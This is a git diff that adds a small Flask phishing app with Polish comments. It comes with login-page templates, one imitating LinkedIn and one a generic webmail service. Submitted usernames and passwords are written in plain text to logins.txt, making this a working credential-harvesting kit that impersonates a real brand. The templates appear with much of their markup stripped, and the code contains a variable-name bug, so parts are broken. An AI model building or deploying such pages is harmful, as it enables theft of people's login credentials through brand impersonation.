diff --git a/app.py b/app.py new file mode 100644 index 0000000..295fb9f --- /dev/null +++ b/app.py @@ -0,0 +1,26 @@ +from flask import Flask, render_template, request, redirect, url_for +from random import choice + +app = Flask(__name__) + +tmpls = ('clean.html', 'webmail.html', 'linkedin.html') +tmpl = choice(templs) + +@app.route('/', methods=['GET', 'POST']) +def login(): + if request.method == 'POST': + # Pobieramy dane z pól formularza (atrybut 'name' w HTML) + uzytkownik = request.form.get('login') + haslo = request.form.get('password') + + # Zapisujemy do pliku (tryb 'a' oznacza dopisywanie - append) + with open('logins.txt', 'a', encoding='utf-8') as f: + f.write(f"Użytkownik: {uzytkownik} | Hasło: {haslo}\n") + + return "

Dane zostały zapisane pomyślnie!

Wróć do logowania" + + # Jeśli metoda to GET, po prostu wyświetlamy stronę + return render_template(tmpl) + +if __name__ == '__main__': + app.run(debug=True) diff --git a/templates/clean.html b/templates/clean.html new file mode 100644 index 0000000..f3e6dd1 --- /dev/null +++ b/templates/clean.html @@ -0,0 +1,28 @@ + + + + + + Strona Logowania + + + + +
+

Zaloguj się

+ + + + + + + +
+ + + diff --git a/templates/linkedin.html b/templates/linkedin.html new file mode 100644 index 0000000..2d93542 --- /dev/null +++ b/templates/linkedin.html @@ -0,0 +1,169 @@ + + + + + + Zaloguj się | LinkedIn + + + + +
+ Linkedin +
+ +
+
+

Zaloguj się

+

Bądź na bieżąco ze światem zawodowym

+ +
+
+ +
+ +
+ +
+ + Nie pamiętasz hasła? + + +
+ +
+ Jesteś nowym użytkownikiem LinkedIn? Dołącz teraz +
+
+
+ + + diff --git a/templates/webmail.html b/templates/webmail.html new file mode 100644 index 0000000..b3b1051 --- /dev/null +++ b/templates/webmail.html @@ -0,0 +1,140 @@ + + + + + + Webmail :: Logowanie + + + + +
+ + +
+
+ + +
+ +
+ + +
+ + +
+ + +
+ + +